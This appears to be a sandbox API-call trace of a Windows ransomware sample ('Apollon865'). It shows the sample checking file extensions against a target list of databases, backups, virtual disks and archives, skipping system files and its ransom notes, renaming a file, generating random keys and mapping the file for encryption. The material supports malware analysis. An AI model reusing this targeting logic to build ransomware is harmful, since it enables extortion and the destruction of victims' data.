	[0081.026] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.026] lstrlenW (lpString="adb") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.026] lstrlenW (lpString="ade") returned 3
	[0081.026] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.026] lstrlenW (lpString="adf") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.027] lstrlenW (lpString="adn") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.027] lstrlenW (lpString="adp") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.027] lstrlenW (lpString="alf") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.027] lstrlenW (lpString="ask") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.027] lstrlenW (lpString="btr") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.027] lstrlenW (lpString="cat") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.027] lstrlenW (lpString="cdb") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.027] lstrlenW (lpString="ckp") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.027] lstrlenW (lpString="cma") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.027] lstrlenW (lpString="cpd") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.027] lstrlenW (lpString="dacpac") returned 6
	[0081.027] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.027] lstrlenW (lpString="dad") returned 3
	[0081.027] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.027] lstrlenW (lpString="dadiagrams") returned 10
	[0081.027] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.027] lstrlenW (lpString="daschema") returned 8
	[0081.027] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.028] lstrlenW (lpString="db-journal") returned 10
	[0081.028] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.028] lstrlenW (lpString="db-shm") returned 6
	[0081.028] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.028] lstrlenW (lpString="db-wal") returned 6
	[0081.028] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.028] lstrlenW (lpString="dbc") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.028] lstrlenW (lpString="dbs") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.028] lstrlenW (lpString="dbt") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.028] lstrlenW (lpString="dbv") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.028] lstrlenW (lpString="dbx") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.028] lstrlenW (lpString="dcb") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.028] lstrlenW (lpString="dct") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.028] lstrlenW (lpString="dcx") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.028] lstrlenW (lpString="ddl") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.028] lstrlenW (lpString="dlis") returned 4
	[0081.028] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.028] lstrlenW (lpString="dp1") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.028] lstrlenW (lpString="dqy") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.028] lstrlenW (lpString="dsk") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.028] lstrlenW (lpString="dsn") returned 3
	[0081.028] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.028] lstrlenW (lpString="dtsx") returned 4
	[0081.028] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.029] lstrlenW (lpString="dxl") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.029] lstrlenW (lpString="eco") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.029] lstrlenW (lpString="ecx") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.029] lstrlenW (lpString="edb") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.029] lstrlenW (lpString="epim") returned 4
	[0081.029] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.029] lstrlenW (lpString="fcd") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.029] lstrlenW (lpString="fdb") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.029] lstrlenW (lpString="fic") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.029] lstrlenW (lpString="flexolibrary") returned 12
	[0081.029] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.029] lstrlenW (lpString="fm5") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.029] lstrlenW (lpString="fmp") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.029] lstrlenW (lpString="fmp12") returned 5
	[0081.029] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.029] lstrlenW (lpString="fmpsl") returned 5
	[0081.029] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.029] lstrlenW (lpString="fol") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.029] lstrlenW (lpString="fp3") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.029] lstrlenW (lpString="fp4") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.029] lstrlenW (lpString="fp5") returned 3
	[0081.029] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.029] lstrlenW (lpString="fp7") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.030] lstrlenW (lpString="fpt") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.030] lstrlenW (lpString="frm") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.030] lstrlenW (lpString="gdb") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.030] lstrlenW (lpString="gdb") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.030] lstrlenW (lpString="grdb") returned 4
	[0081.030] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.030] lstrlenW (lpString="gwi") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.030] lstrlenW (lpString="hdb") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.030] lstrlenW (lpString="his") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.030] lstrlenW (lpString="ib") returned 2
	[0081.030] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.030] lstrlenW (lpString="idb") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.030] lstrlenW (lpString="ihx") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.030] lstrlenW (lpString="itdb") returned 4
	[0081.030] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.030] lstrlenW (lpString="itw") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.030] lstrlenW (lpString="jet") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.030] lstrlenW (lpString="jtx") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.030] lstrlenW (lpString="kdb") returned 3
	[0081.030] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.030] lstrlenW (lpString="kexi") returned 4
	[0081.030] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.030] lstrlenW (lpString="kexic") returned 5
	[0081.031] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.031] lstrlenW (lpString="kexis") returned 5
	[0081.031] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.031] lstrlenW (lpString="lgc") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.031] lstrlenW (lpString="lwx") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.031] lstrlenW (lpString="maf") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.031] lstrlenW (lpString="maq") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.031] lstrlenW (lpString="mar") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.031] lstrlenW (lpString="marshal") returned 7
	[0081.031] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.031] lstrlenW (lpString="mas") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.031] lstrlenW (lpString="mav") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.031] lstrlenW (lpString="maw") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.031] lstrlenW (lpString="mdbhtml") returned 7
	[0081.031] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.031] lstrlenW (lpString="mdn") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.031] lstrlenW (lpString="mdt") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.031] lstrlenW (lpString="mfd") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.031] lstrlenW (lpString="mpd") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.031] lstrlenW (lpString="mrg") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.031] lstrlenW (lpString="mud") returned 3
	[0081.031] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.032] lstrlenW (lpString="mwb") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.032] lstrlenW (lpString="myd") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.032] lstrlenW (lpString="ndf") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.032] lstrlenW (lpString="nnt") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.032] lstrlenW (lpString="nrmlib") returned 6
	[0081.032] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.032] lstrlenW (lpString="ns2") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.032] lstrlenW (lpString="ns3") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.032] lstrlenW (lpString="ns4") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.032] lstrlenW (lpString="nsf") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.032] lstrlenW (lpString="nv") returned 2
	[0081.032] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.032] lstrlenW (lpString="nv2") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.032] lstrlenW (lpString="nwdb") returned 4
	[0081.032] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.032] lstrlenW (lpString="nyf") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.032] lstrlenW (lpString="odb") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.032] lstrlenW (lpString="odb") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.032] lstrlenW (lpString="oqy") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.032] lstrlenW (lpString="ora") returned 3
	[0081.032] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.032] lstrlenW (lpString="orx") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.033] lstrlenW (lpString="owc") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.033] lstrlenW (lpString="p96") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.033] lstrlenW (lpString="p97") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.033] lstrlenW (lpString="pan") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.033] lstrlenW (lpString="pdb") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.033] lstrlenW (lpString="pdm") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.033] lstrlenW (lpString="pnz") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.033] lstrlenW (lpString="qry") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.033] lstrlenW (lpString="qvd") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.033] lstrlenW (lpString="rbf") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.033] lstrlenW (lpString="rctd") returned 4
	[0081.033] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.033] lstrlenW (lpString="rod") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.033] lstrlenW (lpString="rodx") returned 4
	[0081.033] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.033] lstrlenW (lpString="rpd") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.033] lstrlenW (lpString="rsd") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.033] lstrlenW (lpString="sas7bdat") returned 8
	[0081.033] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.033] lstrlenW (lpString="sbf") returned 3
	[0081.033] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.033] lstrlenW (lpString="scx") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.034] lstrlenW (lpString="sdb") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.034] lstrlenW (lpString="sdc") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.034] lstrlenW (lpString="sdf") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.034] lstrlenW (lpString="sis") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.034] lstrlenW (lpString="spq") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.034] lstrlenW (lpString="te") returned 2
	[0081.034] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.034] lstrlenW (lpString="teacher") returned 7
	[0081.034] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.034] lstrlenW (lpString="tmd") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.034] lstrlenW (lpString="tps") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.034] lstrlenW (lpString="trc") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.034] lstrlenW (lpString="trc") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.034] lstrlenW (lpString="trm") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.034] lstrlenW (lpString="udb") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.034] lstrlenW (lpString="udl") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.034] lstrlenW (lpString="usr") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.034] lstrlenW (lpString="v12") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.034] lstrlenW (lpString="vis") returned 3
	[0081.034] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.035] lstrlenW (lpString="vpd") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.035] lstrlenW (lpString="vvv") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.035] lstrlenW (lpString="wdb") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.035] lstrlenW (lpString="wmdb") returned 4
	[0081.035] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.035] lstrlenW (lpString="wrk") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.035] lstrlenW (lpString="xdb") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.035] lstrlenW (lpString="xld") returned 3
	[0081.035] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.035] lstrlenW (lpString="xmlff") returned 5
	[0081.035] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.035] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.Apollon865") returned 82
	[0081.035] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.036] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.036] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=94048) returned 1
	[0081.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.037] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.037] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.037] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.037] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17260, lpName=0x0) returned 0x15c
	[0081.039] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17260) returned 0x120000
	[0081.044] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.044] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.044] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.045] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0081.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0081.045] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.045] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0081.046] CloseHandle (hObject=0x15c) returned 1
	[0081.046] CloseHandle (hObject=0x9c) returned 1
	[0081.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.046] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.047] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="..") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="windows") returned -1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="temp") returned -1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="boot") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="perflogs") returned -1
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.047] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0081.047] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 71
	[0081.047] lstrcpyW (in: lpString1=0x119e670, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0081.047] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0081.047] lstrlenW (lpString="Apollon865") returned 10
	[0081.047] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.047] lstrlenW (lpString=".dll") returned 4
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0081.047] lstrlenW (lpString=".lnk") returned 4
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.047] lstrlenW (lpString=".ini") returned 4
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0081.047] lstrlenW (lpString=".sys") returned 4
	[0081.047] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0081.047] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0081.047] lstrlenW (lpString="bak") returned 3
	[0081.047] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.047] lstrlenW (lpString="ba_") returned 3
	[0081.047] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.048] lstrlenW (lpString="dbb") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.048] lstrlenW (lpString="vmdk") returned 4
	[0081.048] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.048] lstrlenW (lpString="rar") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.048] lstrlenW (lpString="zip") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.048] lstrlenW (lpString="tgz") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.048] lstrlenW (lpString="vbox") returned 4
	[0081.048] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.048] lstrlenW (lpString="vdi") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.048] lstrlenW (lpString="vhd") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.048] lstrlenW (lpString="vhdx") returned 4
	[0081.048] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.048] lstrlenW (lpString="avhd") returned 4
	[0081.048] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.048] lstrlenW (lpString="db") returned 2
	[0081.048] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.048] lstrlenW (lpString="db2") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.048] lstrlenW (lpString="db3") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.048] lstrlenW (lpString="dbf") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.048] lstrlenW (lpString="mdf") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.048] lstrlenW (lpString="mdb") returned 3
	[0081.048] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.048] lstrlenW (lpString="sql") returned 3
